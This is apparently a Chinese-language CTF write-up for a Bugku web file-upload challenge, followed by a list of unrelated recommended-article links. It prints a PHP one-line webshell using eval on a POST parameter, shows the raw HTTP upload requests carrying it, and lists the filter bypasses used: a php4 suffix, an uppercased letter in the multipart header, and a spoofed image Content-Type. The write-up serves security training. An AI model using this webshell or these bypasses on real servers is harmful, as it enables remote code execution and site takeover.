bugku-web-文件上传

提示他的名字是margin,给他一个图片文件,不要php文件

上传一句话木马的图片

抓包,后缀改为php

提示无效文件,即后台还会检测一次后缀

测试后台系统

为linux系统

开始绕过

截断绕过

上传成功,但是会变为jpg

开始分析报文

木马图片报文

复制代码
POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 319
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX2F8o0V31B8bZ2Zn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close

------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="file"; filename="look.jpg"
Content-Type: image/jpeg

<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryX2F8o0V31B8bZ2Zn--

木马php文件报文

复制代码
POST /index.php HTTP/1.1
Host: 114.67.175.224:11895
Content-Length: 333
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://114.67.175.224:11895
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNpcrwyqI789or19t
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://114.67.175.224:11895/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: Hm_lvt_c1b044f909411ac4213045f0478e96fc=1711286763; _ga=GA1.1.52075818.1711286767; _ga_F3VRZT58SJ=GS1.1.1711288951.2.1.1711290145.0.0.0
Connection: close

------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="file"; filename="look.php"
Content-Type: application/octet-stream

<?php phpinfo();eval($_POST['cmd']);?>
------WebKitFormBoundaryNpcrwyqI789or19t
Content-Disposition: form-data; name="submit"

Submit
------WebKitFormBoundaryNpcrwyqI789or19t--

对比两者报文,发现Content-Type不同

但是改完后还是不行

这里看完评论区后得到要将报文头部的

Content-Type: multipart/form-data;

其中multipart/form-data中的任意字母大写,从而绕过后台

但是没有源码怎么能知道呢?

这题这里就出现了bug。。。。

得到这个bug后开始绕过

文件后缀改为php4

头部大写一个字母

数据处Content-Type改为image/jpeg

即可成功绕过

蚁剑连接后在根目录下看到flag

得到flag

相关推荐
软件聚导航43 分钟前
「聚小软 AI 助手」技术升级:从数据库检索到 RAG 知识库问答
前端·数据库·mysql·微信小程序·小程序·ai编程·rag
恋猫de小郭1 小时前
看懂大模型架构术语,帮助你理解目前常见的大模型开源架构
前端·人工智能·ai编程
yma161 小时前
通过提示词实现GitHub Pages 和 Nginx 双部署竟然这么简单?
前端
前端 贾公子2 小时前
第09章:上下文与记忆 (2)
java·服务器·前端
可乐鸡翅yeah_2 小时前
第三方接口对接 M3U8 流媒体排坑实战,解决外部服务商流兼容难题
前端·javascript·python·django·html·m3u8·m3u8在线
GoppViper2 小时前
RDF资源描述框架深度解析:语义Web的数据基石与实战逻辑
前端·数据库
郑州光合科技余经理2 小时前
本地生活服务系统:模块边界与结算字段怎么拆
java·开发语言·前端·后端·系统架构·uni-app·php
IT_陈寒2 小时前
Vue的嵌套组件竟然吃掉了我的事件?
前端·人工智能·后端
默_笙2 小时前
🏠 「LLM Notes」:我用 Next.js + Redis 给自己造了个笔记博客
前端·javascript
风骏时光牛马2 小时前
AI开发平台异常指标实时监控告警
前端